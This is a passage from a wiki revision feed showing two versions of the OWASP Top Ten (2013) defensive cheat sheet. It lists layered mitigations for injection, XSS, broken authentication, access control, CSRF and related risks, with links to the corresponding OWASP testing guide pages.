''Tip: Consider the use of a &amp;quot;governor&amp;quot; to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''&lt;br /&gt;
&lt;br /&gt;
=== Testing ===&lt;br /&gt;
* [[Test Role Definitions (OTG-IDENT-001)]]&lt;br /&gt;
* [[Test User Registration Process (OTG-IDENT-002)]]&lt;br /&gt;
* [[Test Account Provisioning Process (OTG-IDENT-003)]]&lt;br /&gt;
* [[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]]&lt;br /&gt;
* [[Testing for Weak or unenforced username policy (OTG-IDENT-005)]]&lt;br /&gt;
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]&lt;br /&gt;
* [[Testing for default credentials (OTG-AUTHN-002)]]&lt;br /&gt;
* [[Testing for Weak lock out mechanism (OTG-AUTHN-003)]]&lt;br /&gt;
* [[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)]]&lt;br /&gt;
* [[Testing for Vulnerable Remember Password (OTG-AUTHN-005)]]&lt;br /&gt;
* [[Testing for Browser cache weakness (OTG-AUTHN-006)]]&lt;br /&gt;
* [[Testing for Weak password policy (OTG-AUTHN-007)]]&lt;br /&gt;
* [[Testing for Weak security question/answer (OTG-AUTHN-008)]]&lt;br /&gt;
* [[Testing for weak password change or reset functionalities (OTG-AUTHN-009)]]&lt;br /&gt;
* [[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]]&lt;br /&gt;
* [[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)]]&lt;br /&gt;
* [[Testing for Privilege escalation (OTG-AUTHZ-003)]]&lt;br /&gt;
* [[Testing for Session Management Schema (OTG-SESS-001)]]&lt;br /&gt;
* [[Testing for cookies attributes (OTG-SESS-002)]]&lt;br /&gt;
* [[Testing for Session Fixation (OTG-SESS-003)]]&lt;br /&gt;
* [[Testing for Exposed Session Variables (OTG-SESS-004)]]&lt;br /&gt;
* [[Testing for CSRF (OTG-SESS-005)]]&lt;br /&gt;
* [[Testing for logout functionality (OTG-SESS-006)]]&lt;br /&gt;
* [[Test Session Timeout (OTG-SESS-007)]]&lt;br /&gt;
* [[Testing for Session puzzling (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
== A3 XSS ==&lt;br /&gt;
&lt;br /&gt;
=== Presentation ===&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
*Output encode all user data as per output context&lt;br /&gt;
*Set input constraints&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
&lt;br /&gt;
=== Controller ===&lt;br /&gt;
'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation &lt;br /&gt;
(LR) Sanitize input &lt;br /&gt;
&lt;br /&gt;
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''&lt;br /&gt;
&lt;br /&gt;
=== Model ===&lt;br /&gt;
''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''&lt;br /&gt;
&lt;br /&gt;
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''&lt;br /&gt;
&lt;br /&gt;
=== Testing ===&lt;br /&gt;
* [[Testing for Reflected Cross site scripting (OTG-INPVAL-001)]]&lt;br /&gt;
* [[Testing for Stored Cross site scripting (OTG-INPVAL-002)]]&lt;br /&gt;
* [[Testing for DOM-based Cross site scripting (OTG-CLIENT-001)]]&lt;br /&gt;
* [[Testing for JavaScript Execution (OTG-CLIENT-002)]]&lt;br /&gt;
* [[Testing for HTML Injection (OTG-CLIENT-003)]]&lt;br /&gt;
* [[Testing for Cross site flashing (OTG-CLIENT-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== A4 Insecure Direct Object References ==&lt;br /&gt;
&lt;br /&gt;
=== Presentation ===&lt;br /&gt;
If data is from internal trusted sources, no data is sent.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send indirect random access reference map value.&lt;br /&gt;
=== Controller ===&lt;br /&gt;
Obtain data from internal, trusted sources.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
Obtain direct value from random access reference access map.&lt;br /&gt;
&lt;br /&gt;
=== Model ===&lt;br /&gt;
Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
=== Testing ===&lt;br /&gt;
* [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]&lt;br /&gt;
* [[Testing for Insecure Direct Object References (OTG-AUTHZ-004)]]&lt;br /&gt;
* [[Testing for Local File Inclusion]]&lt;br /&gt;
* [[Testing for Remote File Inclusion]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== A5 Security Misconfiguration ==&lt;br /&gt;
&lt;br /&gt;
=== Presentation ===&lt;br /&gt;
Ensure web servers and application servers are hardened.&lt;br /&gt;
&lt;br /&gt;
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension &lt;br /&gt;
&lt;br /&gt;
=== Controller ===&lt;br /&gt;
Ensure web servers and application servers are hardened &lt;br /&gt;
&lt;br /&gt;
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. &lt;br /&gt;
&lt;br /&gt;
=== Model ===&lt;br /&gt;
Ensure database servers are hardened &lt;br /&gt;
&lt;br /&gt;
=== Testing ===&lt;br /&gt;
* [[Fingerprint Web Server (OTG-INFO-002)]]&lt;br /&gt;
* [[Fingerprint Web Application Framework (OTG-INFO-008)]]&lt;br /&gt;
* [[Fingerprint Web Application (OTG-INFO-009)]]&lt;br /&gt;
* [[Test Network/Infrastructure Configuration (OTG-CONFIG-001)]]&lt;br /&gt;
* [[Test Application Platform Configuration (OTG-CONFIG-002)]]&lt;br /&gt;
* [[Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]]&lt;br /&gt;
* [[Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]]&lt;br /&gt;
* [[Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]]&lt;br /&gt;
* [[Test HTTP Methods (OTG-CONFIG-006)]]&lt;br /&gt;
* [[Test RIA cross domain policy (OTG-CONFIG-008)]]&lt;br /&gt;
* [[Testing for Error Code (OTG-ERR-001)]]&lt;br /&gt;
* [[Testing for Stack Traces (OTG-ERR-002)]]&lt;br /&gt;
&lt;br /&gt;
== A6 Sensitive Data Exposure ==&lt;br /&gt;
&lt;br /&gt;
=== Presentation ===&lt;br /&gt;
''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Use TLS 1.2 or later for all web communications.&lt;br /&gt;
*Buy extended validation (EV) certificates for public web servers.&lt;br /&gt;
&lt;br /&gt;
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Do not send keys or hashes to the browser.&lt;br /&gt;
&lt;br /&gt;
=== Controller ===&lt;br /&gt;
''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: It is best to encrypt data on the application server, rather than the database server.''&lt;br /&gt;
&lt;br /&gt;
=== Model ===&lt;br /&gt;
''Design:''&lt;br /&gt;
&lt;br /&gt;
*Mandate strong encrypted communications with application servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being &amp;quot;encrypted&amp;quot; on disk. ''&lt;br /&gt;
&lt;br /&gt;
=== Testing ===&lt;br /&gt;
* [[Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]]&lt;br /&gt;
* [[Testing for Padding Oracle (OTG-CRYPST-002)]]&lt;br /&gt;
* [[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]]&lt;br /&gt;
* [[Test HTTP Strict Transport Security (OTG-CONFIG-007)]]&lt;br /&gt;
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]&lt;br /&gt;
&lt;br /&gt;
== A7 Missing Function Level Access Control ==&lt;br /&gt;
=== Presentation ===&lt;br /&gt;
''Design:''&lt;br /&gt;
*Ensure all non-web data is outside the web root (logs, configuration, etc).&lt;br /&gt;
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.&lt;br /&gt;
*Ensure every page requires a role, even if it is &amp;quot;guest&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
''Pre-render:''&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to view secured URL.&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
&lt;br /&gt;
=== Controller ===&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform secured action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
&lt;br /&gt;
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: Assume attackers '''will''' learn where &amp;quot;hidden&amp;quot; directories and &amp;quot;random&amp;quot; filenames are, so do not store these files in the web root, even if they are not directly linked.''&lt;br /&gt;
&lt;br /&gt;
=== Model ===&lt;br /&gt;
Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
=== Testing ===&lt;br /&gt;
* [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]&lt;br /&gt;
* [[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)]]&lt;br /&gt;
* [[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)]]&lt;br /&gt;
&lt;br /&gt;
== A8 Cross Site Request Forgery ==&lt;br /&gt;
=== Presentation ===&lt;br /&gt;
''Pre-render:''&lt;br /&gt;
*Validate user is authenticated&lt;br /&gt;
*Validate role is sufficient for this view&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
&lt;br /&gt;
=== Controller ===&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate role is sufficient.&lt;br /&gt;
&lt;br /&gt;
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''&lt;br /&gt;
&lt;br /&gt;
=== Model ===&lt;br /&gt;
Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
=== Testing ===&lt;br /&gt;
* [[Testing for CSRF (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
== A9 Using Components with Known Vulnerabilities ==&lt;br /&gt;
=== Presentation ===&lt;br /&gt;
=== Controller ===&lt;br /&gt;
=== Model ===&lt;br /&gt;
=== Testing ===&lt;br /&gt;
* [[Enumerate Applications on Webserver (OTG-INFO-004)]]&lt;br /&gt;
&lt;br /&gt;
== A10 Unvalidated Redirects and Forwards ==&lt;br /&gt;
&lt;br /&gt;
=== Presentation ===&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Use random indirect object references for redirection parameters.&lt;br /&gt;
&lt;br /&gt;
=== Controller ===&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
*Obtain direct redirection parameter from random indirect reference access map.&lt;br /&gt;
*(LR) Positive validation of redirection parameter.&lt;br /&gt;
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.&lt;br /&gt;
&lt;br /&gt;
=== Model ===&lt;br /&gt;
*Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
=== Testing ===&lt;br /&gt;
* [[Testing for Client Side URL Redirect (OTG-CLIENT-004)]]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
* Andrew van der Stock vanderaj[at]owasp.org&lt;br /&gt;
* Ismael Rocha Gonçalves ismaelrg[at]gmail.com&lt;br /&gt;
* Jorge Correa jacorream@gmail.com&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Dan Wallis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=231998</id>
		<title>OWASP Top Ten Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=231998"/>
				<updated>2017-08-03T03:18:20Z</updated>
		
		<summary type="html">&lt;p&gt;Dan Wallis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Cheat Sheet =&lt;br /&gt;
&lt;br /&gt;
{| border=1&lt;br /&gt;
| &lt;br /&gt;
||'''Presentation'''&lt;br /&gt;
||'''Controller'''&lt;br /&gt;
||'''Model'''&lt;br /&gt;
||'''Testing (OWASP Testing Guide V4)'''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A1 Injection'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set a correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
||'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation.&lt;br /&gt;
(LR) Sanitize input.&lt;br /&gt;
&lt;br /&gt;
''Tip: updating a negative list (such as looking for &amp;quot;script&amp;quot;, &amp;quot;sCrIpT&amp;quot;, &amp;quot;ßCrîpt&amp;quot;, etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of &amp;quot;bad&amp;quot; words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''&lt;br /&gt;
||*'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''&lt;br /&gt;
&lt;br /&gt;
*Object relational model (Hibernate).&lt;br /&gt;
*Active Record design pattern.&lt;br /&gt;
*Stored procedures.&lt;br /&gt;
&lt;br /&gt;
*Escape mechanisms such as ESAPI's Encoder:&lt;br /&gt;
**EncodeForLDAP()&lt;br /&gt;
**Encoder.EncodeforOS()&lt;br /&gt;
&lt;br /&gt;
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for SQL Injection (OTG-INPVAL-005)]]&lt;br /&gt;
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]&lt;br /&gt;
* [[Testing for ORM Injection (OTG-INPVAL-007)]]&lt;br /&gt;
* [[Testing for XML Injection (OTG-INPVAL-008)]]&lt;br /&gt;
* [[Testing for SSI Injection (OTG-INPVAL-009)]]&lt;br /&gt;
* [[Testing for XPath Injection (OTG-INPVAL-010)]]&lt;br /&gt;
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]&lt;br /&gt;
* [[Testing for Code Injection (OTG-INPVAL-012)]]&lt;br /&gt;
* [[Testing for Command Injection (OTG-INPVAL-013)]]&lt;br /&gt;
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A2 Weak authentication and session management'''&lt;br /&gt;
||''Render:''&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient for this view.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
*Send CSRF token with forms.&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Only use inbuilt session management.&lt;br /&gt;
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.&lt;br /&gt;
&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
''Tip: Consider the use of a &amp;quot;governor&amp;quot; to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Test Role Definitions (OTG-IDENT-001)]]&lt;br /&gt;
* [[Test User Registration Process (OTG-IDENT-002)]]&lt;br /&gt;
* [[Test Account Provisioning Process (OTG-IDENT-003)]]&lt;br /&gt;
* [[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]]&lt;br /&gt;
* [[Testing for Weak or unenforced username policy (OTG-IDENT-005)]]&lt;br /&gt;
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]&lt;br /&gt;
* [[Testing for default credentials (OTG-AUTHN-002)]]&lt;br /&gt;
* [[Testing for Weak lock out mechanism (OTG-AUTHN-003)]]&lt;br /&gt;
* [[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)]]&lt;br /&gt;
* [[Testing for Vulnerable Remember Password (OTG-AUTHN-005)]]&lt;br /&gt;
* [[Testing for Browser cache weakness (OTG-AUTHN-006)]]&lt;br /&gt;
* [[Testing for Weak password policy (OTG-AUTHN-007)]]&lt;br /&gt;
* [[Testing for Weak security question/answer (OTG-AUTHN-008)]]&lt;br /&gt;
* [[Testing for weak password change or reset functionalities (OTG-AUTHN-009)]]&lt;br /&gt;
* [[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]]&lt;br /&gt;
* [[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)]]&lt;br /&gt;
* [[Testing for Privilege escalation (OTG-AUTHZ-003)]]&lt;br /&gt;
* [[Testing for Session Management Schema (OTG-SESS-001)]]&lt;br /&gt;
* [[Testing for cookies attributes (OTG-SESS-002)]]&lt;br /&gt;
* [[Testing for Session Fixation (OTG-SESS-003)]]&lt;br /&gt;
* [[Testing for Exposed Session Variables (OTG-SESS-004)]]&lt;br /&gt;
* [[Testing for CSRF (OTG-SESS-005)]]&lt;br /&gt;
* [[Testing for logout functionality (OTG-SESS-006)]]&lt;br /&gt;
* [[Test Session Timeout (OTG-SESS-007)]]&lt;br /&gt;
* [[Testing for Session puzzling (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A3 XSS'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
*Output encode all user data as per output context&lt;br /&gt;
*Set input constraints&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
||'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation &lt;br /&gt;
(LR) Sanitize input &lt;br /&gt;
&lt;br /&gt;
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''&lt;br /&gt;
||''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''&lt;br /&gt;
&lt;br /&gt;
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for Reflected Cross site scripting (OTG-INPVAL-001)]]&lt;br /&gt;
* [[Testing for Stored Cross site scripting (OTG-INPVAL-002)]]&lt;br /&gt;
* [[Testing for DOM-based Cross site scripting (OTG-CLIENT-001)]]&lt;br /&gt;
* [[Testing for JavaScript Execution (OTG-CLIENT-002)]]&lt;br /&gt;
* [[Testing for HTML Injection (OTG-CLIENT-003)]]&lt;br /&gt;
* [[Testing for Cross site flashing (OTG-CLIENT-008)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A4 Insecure Direct Object References'''&lt;br /&gt;
||If data is from internal trusted sources, no data is sent.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send indirect random access reference map value.&lt;br /&gt;
||Obtain data from internal, trusted sources.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
Obtain direct value from random access reference access map.&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]&lt;br /&gt;
* [[Testing for Insecure Direct Object References (OTG-AUTHZ-004)]]&lt;br /&gt;
* [[Testing for Local File Inclusion]]&lt;br /&gt;
* [[Testing for Remote File Inclusion]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A5 Security Misconfiguration'''&lt;br /&gt;
||Ensure web servers and application servers are hardened.&lt;br /&gt;
&lt;br /&gt;
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension &lt;br /&gt;
||Ensure web servers and application servers are hardened &lt;br /&gt;
&lt;br /&gt;
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. &lt;br /&gt;
||Ensure database servers are hardened &lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Fingerprint Web Server (OTG-INFO-002)]]&lt;br /&gt;
* [[Fingerprint Web Application Framework (OTG-INFO-008)]]&lt;br /&gt;
* [[Fingerprint Web Application (OTG-INFO-009)]]&lt;br /&gt;
* [[Test Network/Infrastructure Configuration (OTG-CONFIG-001)]]&lt;br /&gt;
* [[Test Application Platform Configuration (OTG-CONFIG-002)]]&lt;br /&gt;
* [[Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]]&lt;br /&gt;
* [[Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]]&lt;br /&gt;
* [[Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]]&lt;br /&gt;
* [[Test HTTP Methods (OTG-CONFIG-006)]]&lt;br /&gt;
* [[Test RIA cross domain policy (OTG-CONFIG-008)]]&lt;br /&gt;
* [[Testing for Error Code (OTG-ERR-001)]]&lt;br /&gt;
* [[Testing for Stack Traces (OTG-ERR-002)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A6 Sensitive Data Exposure'''&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Use TLS 1.2 or later for all web communications.&lt;br /&gt;
*Buy extended validation (EV) certificates for public web servers.&lt;br /&gt;
&lt;br /&gt;
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Do not send keys or hashes to the browser.&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: It is best to encrypt data on the application server, rather than the database server.''&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
&lt;br /&gt;
*Mandate strong encrypted communications with application servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being &amp;quot;encrypted&amp;quot; on disk. ''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]]&lt;br /&gt;
* [[Testing for Padding Oracle (OTG-CRYPST-002)]]&lt;br /&gt;
* [[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]]&lt;br /&gt;
* [[Test HTTP Strict Transport Security (OTG-CONFIG-007)]]&lt;br /&gt;
* [[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A7 Missing Function Level Access Control'''&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Ensure all non-web data is outside the web root (logs, configuration, etc).&lt;br /&gt;
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.&lt;br /&gt;
*Ensure every page requires a role, even if it is &amp;quot;guest&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
''Pre-render:''&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to view secured URL.&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
||&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform secured action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
&lt;br /&gt;
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: Assume attackers '''will''' learn where &amp;quot;hidden&amp;quot; directories and &amp;quot;random&amp;quot; filenames are, so do not store these files in the web root, even if they are not directly linked.''&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]&lt;br /&gt;
* [[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)]]&lt;br /&gt;
* [[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A8 Cross Site Request Forgery'''&lt;br /&gt;
||''Pre-render:''&lt;br /&gt;
*Validate user is authenticated&lt;br /&gt;
*Validate role is sufficient for this view&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
||&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate role is sufficient.&lt;br /&gt;
&lt;br /&gt;
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
